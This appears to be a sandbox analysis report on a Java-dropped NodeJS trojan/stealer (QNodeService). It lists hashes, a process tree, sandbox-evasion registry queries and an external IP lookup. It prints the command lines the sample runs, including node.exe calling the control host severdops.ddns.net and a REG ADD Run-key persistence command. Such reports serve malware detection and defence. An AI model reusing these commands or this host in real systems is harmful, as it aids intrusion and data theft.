Analysis
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max time kernel
116s -
max time network
125s -
platform
windows10_x64 -
resource
win10 -
submitted
28-10-2020 14:01
Static task
static1
Behavioral task
behavioral1
Sample
IMG-28102020.jar
Resource
win7
Behavioral task
behavioral2
Sample
IMG-28102020.jar
Resource
win10
General
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Target
IMG-28102020.jar
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Size
72KB
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MD5
887b166acc924514a275abbdb1676014
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SHA1
b43f7a56b97b635c72628bdde9be1cbc7b5ebd20
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SHA256
49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77
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SHA512
8f796e0f3e482afe0d591e4657b640ec715d536c1c71fff9430b9f240490a79bc81cba1521462f23abef76e0a793f7e3e9eca9053fc06b7c8163d54422d61dd3
Malware Config
Signatures
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QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
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Executes dropped EXE 3 IoCs
Processes:
node.exenode.exenode.exepid process 1624 node.exe 3476 node.exe 576 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\0289f365-56f9-4fbd-9865-86fe743a7a47 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js C:\Users\Admin\node-v14.12.0-win-x64\node.exe js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 22 wtfismyip.com 23 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
node.exenode.exenode.exepid process 1624 node.exe 1624 node.exe 1624 node.exe 1624 node.exe 3476 node.exe 3476 node.exe 3476 node.exe 3476 node.exe 576 node.exe 576 node.exe 576 node.exe 576 node.exe 576 node.exe 576 node.exe 576 node.exe 576 node.exe 576 node.exe 576 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
java.exejavaw.exenode.exenode.exenode.execmd.exedescription pid process target process PID 3884 wrote to memory of 3480 3884 java.exe javaw.exe PID 3884 wrote to memory of 3480 3884 java.exe javaw.exe PID 3480 wrote to memory of 1624 3480 javaw.exe node.exe PID 3480 wrote to memory of 1624 3480 javaw.exe node.exe PID 1624 wrote to memory of 3476 1624 node.exe node.exe PID 1624 wrote to memory of 3476 1624 node.exe node.exe PID 3476 wrote to memory of 576 3476 node.exe node.exe PID 3476 wrote to memory of 576 3476 node.exe node.exe PID 576 wrote to memory of 744 576 node.exe cmd.exe PID 576 wrote to memory of 744 576 node.exe cmd.exe PID 744 wrote to memory of 3936 744 cmd.exe reg.exe PID 744 wrote to memory of 3936 744 cmd.exe reg.exe
Processes
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C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\IMG-28102020.jar1⤵
- Suspicious use of WriteProcessMemory
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C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\9dae3bfe.tmp2⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js --hub-domain severdops.ddns.net4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js --hub-domain severdops.ddns.net5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0289f365-56f9-4fbd-9865-86fe743a7a47" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0289f365-56f9-4fbd-9865-86fe743a7a47" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestampMD5
e643cad80fb7cd2abdaa81fdfaad60ec
SHA1b838739c464cc02c60750dd8debc46cd7de6c3b0
SHA25685c7677508e24fc09201349922b74643dee4d0ca7593646d95904d551b761cb7
SHA5125f554272cbde7c5af477e2f26d632e0c09b557425775d882876a5db6323c4f402d5c9a563b5a19925b6082e3346ff6e0f8693920ceb4199d638a858fcf7ecf0f
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C:\Users\Admin\AppData\Local\Temp\9dae3bfe.tmpMD5
887b166acc924514a275abbdb1676014
SHA1b43f7a56b97b635c72628bdde9be1cbc7b5ebd20
SHA25649331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77
SHA5128f796e0f3e482afe0d591e4657b640ec715d536c1c71fff9430b9f240490a79bc81cba1521462f23abef76e0a793f7e3e9eca9053fc06b7c8163d54422d61dd3
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C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.jsMD5
3859487feb5152e9d1afc4f8cd320608
SHA17bf154c9ddf3a71abf15906cdb60773e8ae07b62
SHA2568d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13
SHA512826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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C:\Users\Admin\node-v14.12.0-win-x64\node.exeMD5
f0b11a5823c45fc2664e116dc0323bcb
SHA1612339040c1f927ec62186cd5012f4bb9c53c1b9
SHA25616fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99
SHA5120e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac
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memory/576-182-0x0000000000000000-mapping.dmp
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memory/576-184-0x00000294C35C0000-0x00000294C35C1000-memory.dmpFilesize
4KB
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memory/744-185-0x0000000000000000-mapping.dmp
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memory/1624-169-0x0000000000000000-mapping.dmp
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memory/1624-172-0x000003B0E9200000-0x000003B0E9201000-memory.dmpFilesize
4KB
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memory/3476-178-0x0000000000000000-mapping.dmp
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memory/3476-180-0x000001FA75C80000-0x000001FA75C81000-memory.dmpFilesize
4KB
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memory/3480-51-0x0000000000000000-mapping.dmp
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memory/3936-186-0x0000000000000000-mapping.dmp